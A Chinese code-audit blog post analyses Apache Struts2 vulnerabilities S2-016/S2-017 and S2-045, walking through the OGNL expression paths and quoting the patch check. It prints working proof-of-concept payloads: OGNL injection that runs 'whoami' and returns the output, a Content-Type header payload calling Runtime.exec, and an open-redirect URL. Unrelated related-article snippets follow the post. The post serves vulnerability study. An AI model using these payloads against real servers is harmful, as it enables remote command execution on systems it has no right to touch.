代碼審計-Struts2漏洞分析

一、Struts2介紹
Struts2 是一個基于 MVC(Model-View-Controller) 設計模式的開源 Java Web 應用框架,由 Apache 軟件基金會維護。它是 Struts1 和 WebWork 框架的整合產物,以 WebWork 為核心,通過攔截器機制實現業務邏輯與 Servlet API 的解耦,適用于構建企業級 Web 應用程序。
二、S2-016\S2-017
兩個漏洞原理一樣,S2-016可構造redirect傳入命令,S2構造redirect傳入url通過OGNL表達式執行,下面為分析過程。

通過DefaultActiionMapper 把命名空間key取出來
在這里插入圖片描述
找到是redirect進入redirect方法里面,設置屬性
在這里插入圖片描述
講參數傳入this.location和param中
在這里插入圖片描述
裝飾OGNL表達式,傳入expression參數
在這里插入圖片描述
執行成功
在這里插入圖片描述

S2-016 poc
${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#s=new java.util.Scanner((new java.lang.ProcessBuilder('whoami'.toString().split('\\s'))).start().getInputStream()).useDelimiter('\\AAAA'),#str=#s.hasNext()?#s.next():'',#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#resp.getWriter().println(#str),#resp.getWriter().flush(),#resp.getWriter()
s2-017 poc
http://xxxxx.com/xxx.action?redirect:http:xxxx.com補丁分析:
if ((key.contains("action:")) || (key.contains("redirect:")) || (key.contains("redirectAction:"))) {
return;

三、S2-045
漏洞的本質就是content-type內容出現異常觸發了表達式的執行

接入傳入參數content_type
在這里插入圖片描述
message數據傳遞

在這里插入圖片描述

在這里插入圖片描述
裝飾OGNL表達式,傳入expression參數
在這里插入圖片描述
執行成功
在這里插入圖片描述

poc
content-type:test multipart/form-data %{#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')}; boundar

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/91029.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/91029.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/91029.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

三、神經網絡——網絡優化方法

三、網絡優化方法 1.梯度下降算法梯段下降算法是一種尋找使損失函數最小化的方法,從數學上的角度來看,梯度的方向是函數增長速度最快的方向,那么梯度的反方向就是函數減少最快的方向,所以有WijnewWijold?η?E?WijW_{ij}^{new} …

HTML/JOSN復習總結

HTML 基礎 什么是 HTML? 1.HTML是一門語言,所有的網頁都是用HTML這門語言編寫出來的 2.HTML(HyperText Markup Language):超文本標記語言。 >超文本:超越了文本的限制,比普通文本更強大。除了文字信息,還可以定義圖片、音頻、視頻等內…

Golang中的內置類型

A. int B. string C. struct D. array 首先,內置類型是指不需要引入任何關于這些數據類型的包,就可以引用的數據類型。那么,內置類型主要包括基本類型,復合類型,控制并發,高級抽象,特殊類型。…

通過命名空間引用了 Application 類,php不會自動包含路徑文件嗎?

示例代碼:報錯提示找不到Application類 use mvc\core\Application;$app new Application(); // 定義路由 $app->get(/, HomeControllerindex); $app->get(/user, UserControllershow); $app->post(/user, UserControllercreate);// 運行應用 $app->run…

PlantUML 基礎使用技術文檔

目錄 摘要 1. 什么是 PlantUML 2. 安裝與環境配置 2.1 本地使用 2.2 在線使用 3. 基本語法 3.1 示例:系統架構圖 3.2 常用元素 4. 渲染方式 4.1 VSCode 4.2 在線渲染 4.3 生成圖片 5. 推薦實踐 6. 常見圖類型 7. 進階功能 8. 典型應用場景 摘要 Pl…

Android Notification 通過增加addAction 跳轉回Service重新執行邏輯

1.場景描述在App內升級過程中,apk下載過程中網絡波動導致連接超時,下載失敗后Service生命周期結束。前臺通知也被清除。2.解決思路在通知欄中增加重試按鈕重啟下載服務。3.代碼NotificationManager mNotificationManager (NotificationManager) getSy…

帶貨視頻評論的用戶洞察 科大訊飛AI算法賽 Datawhale AI夏令營

賽題 2025 iFLYTEK AI開發者大賽https://challenge.xfyun.cn/topic/info?typevideo-comment-insight 一、賽事背景 在電商直播爆發式增長的數字化浪潮下,短視頻平臺積累了海量帶貨視頻及用戶互動數據。這些數據不僅是消費者對商品體驗的直接反饋,更蘊…

JAVA生成PDF(itextpdf)

java生成PDF有多種方式&#xff0c;比如itextpdf、 Apache PDFBox、Flying Saucer (XHTMLRenderer)、 OpenPDF等。今天要介紹的是itextpdf&#xff0c;及在開發過程中處理的問題。1. 引入POM<!--PDF導出POM--><dependency><groupId>com.itextpdf</groupId…

[爬蟲知識] 深入理解多進程/多線程/協程的異步邏輯

相關爬蟲實戰案例&#xff1a;[爬蟲實戰] 多進程/多線程/協程-異步爬取豆瓣Top250 相關爬蟲專欄&#xff1a;JS逆向爬蟲實戰 爬蟲知識點合集 爬蟲實戰案例 逆向知識點合集 前言&#xff1a; 面對海量的目標數據&#xff0c;傳統單線程、同步的爬取方式往往效率低下&#x…

Oracle RAC 11.2.0.4 更新SYSASM和SYS密碼

前言 從技術角度看&#xff0c;SYSASM是Oracle 10g R2引入的ASM管理員角色&#xff0c;而SYS是數據庫實例的超級用戶&#xff0c;SYS賬戶無法管理ASM磁盤組。SYSASM權限是集群級別的&#xff0c;比如在添加磁盤組時&#xff0c;這個操作會影響所有節點&#xff1b;而SYS用戶的權…

Vue》》總結

官網 vue路由的query參數、mixin 混入 vue cli 腳手架之配置代理 VUE SAP、 MPA&#xff0c;&#xff0c;組件開發、VDOM、雙向數據綁定 Vue Props 、Mixin 、路由守衛 vue router query參數 Vue props以及其他通信方式, vue響應式 原理 追加響應式數據&#xff0c;數組響應式 …

Nginx 中的負載均衡策略

Nginx 是一個高性能的 HTTP 和反向代理服務器&#xff0c;廣泛用于負載均衡場景。它支持多種負載均衡策略&#xff0c;可以幫助你優化資源利用、提高響應速度和增加系統的可用性。以下是 Nginx 中幾種常見的負載均衡策略及其配置方法&#xff1a; 1. 輪詢&#xff08;Round Rob…

用 Python 將分組文本轉為 Excel:以四級詞匯為例的實戰解析

一、背景引入&#xff1a;從“人工整理”到“自動化處理”的轉變 在英語學習過程中&#xff0c;我們經常會接觸各種分組整理的詞匯表&#xff0c;比如“Group1”對應一組單詞及釋義&#xff0c;隨后是“Group2”、“Group3”等等。如果你下載了一個 .txt 格式的四級詞匯表&…

Ffmpeg濾鏡

打開設備 添加濾鏡 循環錄制文件 #include "libavdevice/avdevice.h" #include "libavformat/avformat.h" #include "libavcodec/avcodec.h" #include "libavfilter/avfilter.h" #include "libavfilter/buffersink.h" #incl…

HarmonyOS AI輔助編程工具(CodeGenie)UI生成

UI Generator基于BitFun Platform AI能力平臺&#xff0c;用于快速生成可編譯、可運行的HarmonyOS UI工程&#xff0c;支持基于已有UI布局文件&#xff08;XML&#xff09;&#xff0c;快速生成對應的HarmonyOS UI代碼&#xff0c;其中包含HarmonyOS基礎工程、頁面布局、組件及…

【第三節】ubuntu server配置遠程連接

首先在ubuntu server中查看ip&#xff0c;打開虛擬機&#xff0c;輸入ip addr show ,這個命令很好記&#xff0c;幾乎就是英文自然語言 下面我們準備遠程連接工具&#xff0c;我選擇的開源的ET&#xff0c;全稱是electerm,圈起來的是必須輸入的內容&#xff0c;輸入完成后點擊保…

CCS-MSPM0G3507-7-模塊篇-MPU6050的基本使用

前言本篇我們接收對MPU6050的基本使用&#xff0c;獲取ID&#xff0c;通過IIC協議獲取寄存器的值&#xff0c;至于高級濾波算法&#xff0c;比如卡爾曼濾波&#xff0c;或者上面的&#xff0c;后面再更新基本配置最好選擇PA0和PA1&#xff0c;5V開漏然后給上代碼MPU6050.c#incl…

spring-ai agent概念

目錄agent 概念理解記憶能力工具計劃agent 概念理解 agent 智能體&#xff0c;突出智能 大模型的感覺 告訴你怎么做&#xff08;也不一定正確&#xff09;不會幫你做 Agent的感覺 直接準確的幫你做完&#xff08;比如&#xff0c;告訴 AI Agent 幫忙下單一份外賣&#xff0c…

NO.4數據結構數組和矩陣|一維數組|二維數組|對稱矩陣|三角矩陣|三對角矩陣|稀疏矩陣

數組的儲存 【定義】 數組&#xff1a; 由 n&#xff08;≥1&#xff09; 個相同類型的數據元素構成的有限序列&#xff0c; 是線性表的推廣。 一旦被定義&#xff0c; 維數和長度就不可再改變&#xff0c; 一般對其只有元素的存取和修改操作。 一維數組 Arr[a0,…,an?1] Arr[…

如何把Arduino IDE中ESP32程序bin文件通過樂鑫flsah_download_tool工具軟件下載到ESP32中

目錄前言獲取Arduino IDE中ESP32程序bin文件flsah_download_tool工具軟件下載程序bin文件到ESP32中總結前言 Arduino IDE豐富的驅動庫給ESP32的開發帶來了很多便利&#xff0c;當我們下載程序的時候&#xff0c;直選選擇好ESP32開發板型號和端口號即可下載程序到開發板中&…